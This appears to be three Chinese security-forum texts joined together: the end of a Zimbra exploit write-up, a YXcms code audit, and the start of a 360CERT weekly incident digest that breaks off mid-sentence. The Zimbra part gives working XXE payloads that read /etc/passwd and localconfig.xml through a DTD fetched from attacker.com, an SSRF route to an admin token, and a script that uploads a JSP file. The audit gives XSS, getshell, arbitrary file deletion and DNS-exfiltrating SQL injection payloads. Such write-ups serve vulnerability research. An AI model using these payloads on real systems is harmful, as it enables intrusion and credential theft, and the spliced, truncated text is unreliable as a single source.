Document doc = docBuilder.parse(new InputSource(new StringReader(content)));
...
//获取Request标签内容
NodeList nList = doc.getElementsByTagName("Request");
...
for (int i = 0; i < nList.getLength(); i++)
{
Node node = nList.item(i);
if (node.getNodeType() == 1)
{
Element element = (Element)node;
//读取EMailAddress、AcceptableResponseSchema的内容
email = getTagValue("EMailAddress", element);
responseSchema = getTagValue("AcceptableResponseSchema", element);
//读到邮件跳出
if (email != null) {
break;
}
}
}
...
//邮件为null或者长度为0则报邮件错误
if ((email == null) || (email.length() == 0))
{
log.warn("No Email address is specified in the Request, %s", new Object[] { content });
sendError(resp, 400, "No Email address is specified in the Request");
return;
}
//responseSchema如果不为两个给定类型则报错并返回responseSchema的内容，此处造成了回显式的XXE。
if ((responseSchema != null) && (responseSchema.length() > 0)) {
if ((!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006")) && (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")))
{
log.warn("Requested response schema not available " + responseSchema);
sendError(resp, 503, "Requested response schema not available " + responseSchema);
return;
}
}
1.先读取了EMAILAddress和先读取了EMAILAddress和AcceptableResponseSchema
2.验证AcceptableResponseSchema是否正确，如果不正确则返回其内容并报错
3.验证登陆权限
网上查了个Autodiscovery的Request包：
<https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxdscli/fc420a31-5180-4a28-8397-8db8977861c6>
所以只要将希望XXE的内容放入AcceptableResponseSchema中即可：
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
由于localconfig.xml为XML文件，需要加上CDATA标签才能作为文本读取，由于XXE不能内部实体进行拼接，所以此处需要使用外部dtd：
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
提交报文内容
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://attacker.com/dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
响应如下：
参考：
<https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/>
## SSRF
接口参考：
<https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html>
Proxy_Servlet文档：
<https://wiki.zimbra.com/wiki/Zimlet_Developers_Guide:Proxy_Servlet_Setup>
如上步骤找一下ProxyServlet
* jar -tvf ./zimbra/lib/jars/zimbrastore.jar
14208 Mon Dec 15 15:19:22 CST 2014 com/zimbra/cs/zimlet/ProxyServlet.class
还是在zimbrastore.jar中
ProxyServlet顾名思义，会把请求转发到指定的target，我们可以通过该接口访问到本地监听的7071管理端口。
按照文章中所给分析，将Host修改为:7071为结尾的值，假装自己是从管理端口进入（ServletRequest.getServerPort()取Request中Host端口的问题），同时在Cookie中使用一个低权限的Token，即可进行SSRF。
原文配图：
低权限token可通过soap接口发送AuthRequest进行获取：
<https://target.com/service/soap>
先使用上面通过xxe获取的zimbra_admin_name和zimbra_ldap_password进行登陆，获取一个低权限Token
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>xxxx</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
响应中包含一个token：
而后再通过proxy接口，访问admin的soap接口获取高权限Token
<https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap>
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN，值为上面请求所获取的token。
发送同上Body内容，但是AuthRequest的xmlns要改为：urn:zimbraAdmin，否则获取的还是普通权限的Token
注意7071端口是https的，刚开始写成了HTTP，卡了有一个小时。。
## 文件上传
长亭的文章给的提示，可以用文件上传，具体参考 [CVE-2013-7091 EXP](https://www.exploit-db.com/exploits/30472)其中的文件上传部分
import requests
f = {
'filename1':(None,"justatest.jsp",None),
'clientFile':("justatest123.jsp",r'<%out.println("justatest");%>',"text/plain"),#以这里的文件名为准
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=admin_token",#改成自己的admin_token
"Host":"foo:7071"
}
r = requests.post("https://target.com/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
print(r.text)
最后效果： | 社区文章 |
# 前言
一次逛博客中，遇到了YXcms，难度不高，适合我这种小白。于是它就成为我的代码审计的第二弹了。
# 审计过程
首先了解这个cms的目录结构
data 存放备份数据
protected 网站程序核心文件夹
public 存放css、images、js、swf等模板公用文件
upload 存放上传文件
.htaccess apache伪静态规则文件
httpd.ini iis伪静态规则文件
index.php 网站入口
robots.txt robots协议
升级日志.txt 详细升级日志记录文件
然后通过YXcms手册了解YXcms的后台路径等
<https://www.kancloud.cn/yongheng/yxcms/308086>
## 前台XSS
`<svg/onload=alert(1)>`
### 源码分析
`\protected\apps\default\controller\columnController.php`
public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://图集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://单页
$this->page($sortinfo,$path,$deep);
break;
case 4://应用
break;
case 5://自定义
break;
case 6://表单
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的栏目类型~', 404);
break;
}
}
protected function extend($sortinfo,$path,$deep)
{
$tableid=$sortinfo['extendid'];
if(empty($tableid)) $this->error('表单栏目不存在~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
$urls=explode('|', $sortinfo['url']);
// var_dump($tableinfo);
// var_dump($urls);
// exit();
if (!$this->isPost()) {
...
}else{
session_starts();
$verify=session('verify');
session('verify',null);
if(empty($verify) || $_POST['checkcode']!=$verify) $this->error('验证码错误，请重新输入');
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']])){
$data[$tableinfo[$i]['tableinfo']]=in(deletehtml(implode(',',$_POST[$tableinfo[$i]['tableinfo']])));
$data[$tableinfo[$i]['tableinfo']]=$data[$tableinfo[$i]['tableinfo']]?in(deletehtml($data[$tableinfo[$i]['tableinfo']])):'';
}else{
if(strlen($_POST[$tableinfo[$i]['tableinfo']])>65535) $this->error('提交内容超过限制长度~');
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']],true);
}
}
$data['ip']=get_client_ip();
$data['ispass']=0;
$data['addtime']=time();
if(empty($urls[1])) $jump=$_SERVER['HTTP_REFERER'];
else{
$jurl=explode(',',$urls[1]);
if(!empty($jurl[1])){
$arr=explode('/',$jurl[1]);
if(!empty($arr)){
$canshu=array();
foreach ($arr as $vo) {
$val=explode('=',$vo);
$canshu[$val[0]]=$val[1];
}
}
}
$jump=url($jurl[0],$canshu);
}
$mes=$urls[2]?$urls[2]:'提交成功请等待审核~';
if(model('extend')->Extin($tableinfo[0]['tableinfo'],$data)) $this->success($mes,$jump);
else $this->error('提交失败~');
}
}
这里使用两个函数对前端输入进行过滤`html_in`和`deletehtml`
`/protected/include/lib/common.function.php`
`deletehtml`
//去除html js标签
function deletehtml($document) {
$document = trim($document);
if (strlen($document) <= 0)
{
return $document;
}
$search = array ("'<script[^>]*?>.*?</script>'si", // 去掉 javascript
"'<[/!]*?[^<>]*?>'si", // 去掉 HTML 标记
"'([rn])[s]+'", // 去掉空白字符
"'&(quot|#34);'i", // 替换 HTML 实体
"'&(amp|#38);'i",
"'&(lt|#60);'i",
"'&(gt|#62);'i",
"'&(nbsp|#160);'i"
); // 作为 PHP 代码运行
$replace = array ("",
"",
"\1",
""",
"&",
"<",
">",
" "
);
return @preg_replace ($search, $replace, $document);
}
注释的很清楚了 ，去除html js标签
`html_in`
`/protected/include/lib/common.function.php`
function html_in($str,$filter=false){
if($filter){
$str=RemoveXSS($str);
}
$str=htmlspecialchars($str);
if(!get_magic_quotes_gpc()) {
$str = addslashes($str);
}
return $str;
}
使用函数`htmlspecialchars`和`RemoveXSS`对XSS进行过滤。
`RemoveXSS`
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <javascript>
// note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs
$val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|'\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are t, n, and r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
过滤一些危险标签，防止出现XSS
通过测试，前端输入的`<svg/onload=alert(1)>`
在数据库中是：`<svg/on<x>load=alert(1)>`这样的
然后我们来看从数据库取值的函数
`protected/apps/admin/controller/extendfieldController.php`
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
// var_dump($info);
// exit();
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失败~');
}
}
取值就是正常取值，但是接下来的给页面返回代码，就离谱
$cont.='';
for($i=1;$i<count($tableinfo);$i++){
$cont.= '<tr><td align="right">'.$tableinfo[$i]['name'].'：</td><td align="left">';
switch ($tableinfo[$i]['type']) {
case 1:
$cont.= '<input type="text" name="'.$tableinfo[$i]['tableinfo'].'" value="'.$info[$tableinfo[$i]['tableinfo']].'">';
break;
case 2:
$cont.= '<textarea name="'.$tableinfo[$i]['tableinfo'].'" style="width:300px !important; height:80px">'.$info[$tableinfo[$i]['tableinfo']].'</textarea>';
break;
case 3:
$cont.= '<textarea class="editori" name="'.$tableinfo[$i]['tableinfo'].'" style="width:100%;height:250px;visibility:hidden;">'.html_out($info[$tableinfo[$i]['tableinfo']]).'</textarea>';
break;
case 4:
$cont.= '<select name="'.$tableinfo[$i]['tableinfo'].'" >';
$chooses=explode("rn",$tableinfo[$i]['defvalue']);
$flog=false;
foreach ($chooses as $vo) {
$vos=explode(",",$vo);
if($info[$tableinfo[$i]['tableinfo']]==$vos[0]) {
$flog=true;
$cont.='<option selected value="'.$vos[0].'">'.$vos[1].'</option>';
}else{
$cont.='<option value="'.$vos[0].'">'.$vos[1].'</option>';
}
}
if(!$flog) $cont.='<option selected value="">=没有选择=</option>';
$cont.= '</select>';
break;
case 5:
$cont.= '<input name="'.$tableinfo[$i]['tableinfo'].'" id="'.$tableinfo[$i]['tableinfo'].'" type="text" value="'.$info[$tableinfo[$i]['tableinfo']].'" />';
$cont.= '<iframe scrolling="no"; frameborder="0" src="'.url("extendfield/file",array('inputName'=>$tableinfo[$i]['tableinfo'])).'" style="width:300px; height:30px;"></iframe>';
break;
case 6:
$chooses=explode("rn",$tableinfo[$i]['defvalue']);
foreach ($chooses as $vo) {
$vos=explode(",",$vo);
$nowval=array();
$nowval=explode(",",$info[$tableinfo[$i]['tableinfo']]);
$cont.= (in_array($vos[0],$nowval))?$vos[1].'<input checked type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" />':$vos[1].'<input type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" /><br>';
}
break;
}
$cont.= '</td></tr>';
}
echo $cont;
只有`case 3`使用了`html_out`函数
`/protected/include/lib/common.function.php`
`html_out`
function html_out($str){
if(function_exists('htmlspecialchars_decode'))
$str=htmlspecialchars_decode($str);
else
$str=html_entity_decode($str);
$str = stripslashes($str);
return $str;
}
在html代码输出利用`htmlspecialchars_decode`将特殊的 HTML
实体转换回普通字符,那么上面的被实体化的输入代码又被转化回来了，中间那么多的过滤和转换白用了。 而且case3就是留言板那。
## 任意PHP文件添加
新建一个文件
不需要任何权限，可以直接访问`protected/apps/default/view/default/phpinfo.php`
### 源码分析
`protected/apps/admin/controller/setController.php`
public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操作~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件创建失败！');
}
$this->success('模板文件创建成功！',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();
}
}
可以看到，我们写入的文件是POST直接传参，而且两个参数均为进行过滤。`$filepath=$templepath.$filename.'.php';`强行指定文件为php文件。
`file_put_contents($filepath, $code);`将没有进行过滤的输入的参数直接写入文件中。
通过这个漏洞，我们可以直接getshell。
## 任意文件删除一
在上传文件管理中，有个删除文件
我们尝试删除，并且抓包。
在根目录创建一个`1.txt`
返回成功，`1.txt`被成功删除
### 源码分析
`protected/apps/admin/controller/filesController.php`
public function del()
{
$dirs=in($_GET['fname']);
$dirs=str_replace(',','/',$dirs);
$dirs=ROOT_PATH.'upload'.$dirs;
if(is_dir($dirs)){del_dir($dirs); echo 1;}
elseif(file_exists($dirs)){
if(unlink($dirs)) echo 1;
}else echo '文件不存在';
}
使用`in方法`对`$_GET['fname']`进行判断
`protected\include\lib\common.function.php`
function in($data,$force=false){
if(is_string($data)){
$data=trim(htmlspecialchars($data));//防止被挂马，跨站攻击
if(($force==true)||(!get_magic_quotes_gpc())) {
$data = addslashes($data);//防止sql注入
}
return $data;
} else if(is_array($data)) {
foreach($data as $key=>$value){
$data[$key]=in($value,$force);
}
return $data;
} else {
return $data;
}
}
代码中对传入的数据进行`htmlspecialchars和addslashes`处理，但是并不会对../进行处理
`del_dir 方法`
`\YXcmsApp1.4.6\protected\include\lib\common.function.php`
//遍历删除目录下所有文件
function del_dir($dir,$ifdeldir=true){
if (!is_dir($dir)){
return false;
}
$handle = opendir($dir);
while (($file = readdir($handle)) !== false){
if ($file != "." && $file != ".."){
is_dir("$dir/$file")? del_dir("$dir/$file"):@unlink("$dir/$file");
}
}
if (readdir($handle) == false){
closedir($handle);
if($ifdeldir) @rmdir($dir);
}
return true;
}
对文件进行遍历删除操作。
总管这两个方法，对我们输入的参数没有进行任何过滤，`ROOT_PATH.'upload'.$dirs`，拼接文件完整路径，使用`unlink`函数删除文件，参数完全可控，导致任意文件删除。
## 任意文件删除二
抓包 ，通过更改参数`picname` ，达到任意文件删除的目的。
当返回缩略图不存在时，文件已经被删除。
### 源码分析
`/protected/apps/admin/controller/photoController.php`
public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}
将参数`$_POST['picname']`赋值给`$picname`
，`$this->uploadpath`上传路径赋值到`$path`，把`$path和$picname`连接起来，参数`$picname`完全可控，导致任意文件删除。
## SQL注入
位置：`/index.php?r=admin/fragment/index`
bp抓包 会看到传入两个参数
对`delid`参数进行修改
`select load_file(concat('\\\\',(select
database()),'.test.dnslog.link\\abc'))`
但是这里没有回显，需要用`DNSLOG`辅助查看回显
这个洞比较鸡肋，因为后台有执行SQL语句的功能
### 源码分析
`\YXcmsApp1.4.6\protected\apps\admin\controller\fragmentController.php`
public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您没有选择~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '删除失败~';
}else{
if(empty($_POST['delid'])) $this->error('您没有选择~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('删除成功',url('fragment/index'));
}
}
对于传入的`delid`变量，首先判断是否存在，然后将逗号和`$_POST['delid']`通过`implode`函数链接在一起。调用`delete`方法继续进行删除。
查看`delete`方法
`\YXcmsApp1.4.6\protected\base\model\model.php`
public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}
仍有`delete`方法，我们继续查看
`\YXcmsApp1.4.6\protected\include\core\cpModel.class.php`
public function delete() {
$table = $this->options['table']; //当前表
$where = $this->_parseCondition(); //条件
if ( empty($where) ) return false; //删除条件为空时，则返回false，避免数据不小心被全部删除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}
这里依旧是对`$table`和`$where`进行赋值 但是这里使用了`parseCondition()` 查一下
`\YXcmsApp1.4.6\protected\include\core\db\cpMysql.class.php`
private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
这里`$this->db->parseCondition($this->options)`
查看`parseCondition`方法
public function parseCondition($options) {
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}
首先如果传递过来的内容不为空，就给condition赋值 WHERE ，如果是字符串的话，直接进行拼接，如果是数组的话，交由`escape()`方法处理
，之后基本上都是sql语句的关键词赋值，其中出现`escape($value)`，我们查看一下这个函数。
`/protected/include/core/db/cpMysql.class.php`
public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
如果传入的是数组，那么回对数组中的每个值进行`mysql_real_escape_string`处理
但是因为只进行了特殊字符的处理，对于数字和字符没有进行处理，所以，存在SQL注入。
# 总结
这次代码审计，只靠我自己是拿不下来的，最后还是参考了P神，p1ump师傅等大牛的博客。即使这样，这个cms
依旧还有一些洞没有复现到位，比如固定会话攻击，和前台xss的getsgell这个两个洞，我一直没有复现出来，所以就没有写到正文中，如果有哪位师傅了解，还请赐教。
# 参考
<https://www.freebuf.com/column/162886.html>
<https://xz.aliyun.com/t/5367?page=1#toc-5>
<https://www.anquanke.com/post/id/204398#h2-14>
<https://www.leavesongs.com/other/yxcms-vulnerability.html> | 社区文章 |
# 安全事件周报（09.14-09.20）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 事件导览
本周收录安全事件 `35` 项，话题集中在 `勒索` 、 `网络攻击` 方面，涉及的组织有： `Microsoft` 、 `IBM` 、 `Google`
、 `Apple` 等。线上办公的增加，导致勒索事件频发，严重影响了政府公司的办公效率、数据安全，甚至是人身安全。对此，360CERT建议使用
`360安全卫士` 进行病毒检测、使用 `360安全分析响应平台` 进行威胁流量检测，使用 `360城市级网络安全监测服务QUAKE`
进行资产测绘，做好资产自查以及预防工作，以免遭受黑客攻击。
**恶意程序** | 等级
---|---
德国一家医院遭勒索软件袭击后导致患者死亡 | ★★★★★
新的MrbMiner恶意软件感染了数千个MSSQL数据库 | ★★★★
利用WordPress中XML-RPC漏洞的恶意软件 | ★★★★
Rudeminer, Blacksquid 和 Lucifer 恶意软件 | ★★★★
勒索软件切断加州小学生的在线学习 | ★★★★
Maze勒索软件现在通过虚拟机加密以逃避检测 | ★★★★
Rampant Kitten – 伊朗的间谍活动 | ★★★★
LockBit勒索软件启动数据泄露网站双重勒索受害者 | ★★★
美国激光开发商IPG Photonics遭勒索软件袭击 | ★★★
**数据安全** |
多个热门购物网站数据泄露 | ★★★★★
2400万南非人的个人资料被捆绑到文件共享网站上 | ★★★★
美国退伍军人事务部数据泄露 | ★★★★
新泽西大学医院遭SunCrypt勒索软件袭击，数据泄露 | ★★★★
Staples公司披露数据泄露事件 | ★★★
新加坡3000多个人资料在网上泄露 | ★★★
**网络攻击** |
又一家加密货币交易所遭到黑客攻击，被盗数百万美元 | ★★★★★
Zerologon攻击能让黑客完全攻破一个Windows域 | ★★★★★
美国CISA报告分享了伊朗黑客使用的WebShell细节 | ★★★★
Magento商店遭遇2015年以来最大规模的自动化黑客攻击 | ★★★
9/11周年纪念日的虚拟会议上出现不雅照片 | ★★★
俄罗斯黑客以5000美元的价格出售零日漏洞 | ★★★
针对教育和学术领域的DDoS攻击激增 | ★★★
美国指控两名俄罗斯人通过加密货币钓鱼网站窃取1680万美元 | ★★★
垃圾邮件发送者开始使用新技术绕过垃圾邮件过滤器 | ★★★
Tutanota加密电子邮件服务遭受DDoS网络攻击 | ★★★
**其它事件** |
Apple漏洞允许在iPhone、iPad、iPod上执行代码 | ★★★★
病人监控软件的安全漏洞 | ★★★
云服务器上的绝大多数网络攻击都是为了挖掘加密货币 | ★★★
可以滥用Windows 10 “Finger”命令来下载或窃取文件 | ★★★
MFA绕过漏洞打开了微软365进行攻击 | ★★★
英国NCSC发布漏洞公开工具包 | ★★★
IBM Spectrum Protect Plus Security对RCE开放 | ★★★
地下论坛泄露Cerberus银行木马源代码 | ★★★
Drupal解决了XSS和信息披露缺陷 | ★★★
Firefox 漏洞可以让你通过WiFi劫持附近的移动浏览器 | ★★★
## 0x02 恶意程序
### 德国一家医院遭勒索软件袭击后导致患者死亡
日期: 2020年09月18日
等级: 高
作者: Pierluigi Paganini
标签: Duesseldorf, Hospital, Ransomware, Death, German
德国当局透露，杜塞尔多夫一家大医院、杜塞尔多夫大学诊所遭到勒索软件袭击，攻击发生后，杜塞尔多夫大学诊所的系统就不可用了。一名需要紧急手术的妇女不得不被送往另一个城市接受治疗，由于对妇女的治疗推迟了一个小时，导致病人死亡。得知此事后，勒索软件运营商随后决定撤回勒索企图，并提供一个数字密钥来解密数据。目前，该医院正在恢复IT系统并恢复运营。
**详情**
[Major Duesseldorf hospital infected with ransomwareSecurity
Affairs](https://securityaffairs.co/wordpress/108408/malware/hospital-cyber-attack.html)
### 新的MrbMiner恶意软件感染了数千个MSSQL数据库
日期: 2020年09月16日
等级: 高
作者: Pierluigi Paganini
标签: MSSQL, MrbMiner, Trojan, Weak password
一群黑客正在对 `MSSQL` 服务器发起暴力攻击，意图入侵它们，并安装名为 `MrbMiner`
的密码挖掘恶意软件。根据安全团队的消息，黑客团队在过去的几个月里一直很活跃，他们侵入微软的SQLServer( `MSSQL`
)来安装一个密码挖掘器。该安全团队检测到一种新型的挖掘木马家族 `MrbMiner` 。黑客通过 `SQLServer`
服务器的弱密码进行攻击。爆破成功后，他们在目标系统上发布了用 `c#` 编写的木马 `assm.exe` ，然后下载并维护了 `Moneromining`
木马。挖掘的过程。仍在继续。
目前 `MSSQL` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[New MrbMiner malware infected thousands of MSSQL
DBs](https://securityaffairs.co/wordpress/108341/hacking/mrbminer-mssql-miner.html)
### 利用WordPress中XML-RPC漏洞的恶意软件
日期: 2020年09月16日
等级: 高
作者: Avinash Kumar , Aditya Sharma
标签: WordPress, XML-RPC, Attack, C&C, Malware, ZSCALER
这些攻击者使用的最常见的攻击媒介之一是发起 `XML-RPC` 攻击。默认情况下启用的 `WordPress` 上的 `XML-RPC` 实际上是一个
`API`
，它使第三方应用程序和服务能够与WordPress网站进行交互，而无需通过浏览器。攻击者使用此通道建立与WordPress网站的远程连接并进行修改，而无需直接登录到WordPress系统。但是，如果WordPress网站没有禁用XML-RPC，则黑客可以进行的登录尝试次数没有限制，这意味着网络罪犯获得访问权限只是时间问题。最近， `ZscalerThreatLabZ` 团队遇到了一种攻击
`WordPress` 站点的方案，其中一个恶意程序从 `C&C` 服务器获得一份 `WordPress` 站点列表，然后利用 `XML-RPCpingback` 方法攻击该列表，以确定列出的 `WordPress` 站点上的现有漏洞。
目前 `WordPress` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[Malware exploiting XML-RPC vulnerability in
WordPress](https://www.zscaler.com/blogs/security-research/malware-leveraging-xml-rpc-vulnerability-exploit-wordpress-sites)
### Rudeminer, Blacksquid 和 Lucifer 恶意软件
日期: 2020年09月16日
等级: 高
作者: David Driker, Amir Landau
标签: DDOS, Cloud, Malware, Windows
Lucifer是一个Windows加密矿工和DDOS混合恶意软件。三个月前，研究人员发表了一份报告，详细介绍了该组织独特的活动。最近，
`checkpoint`
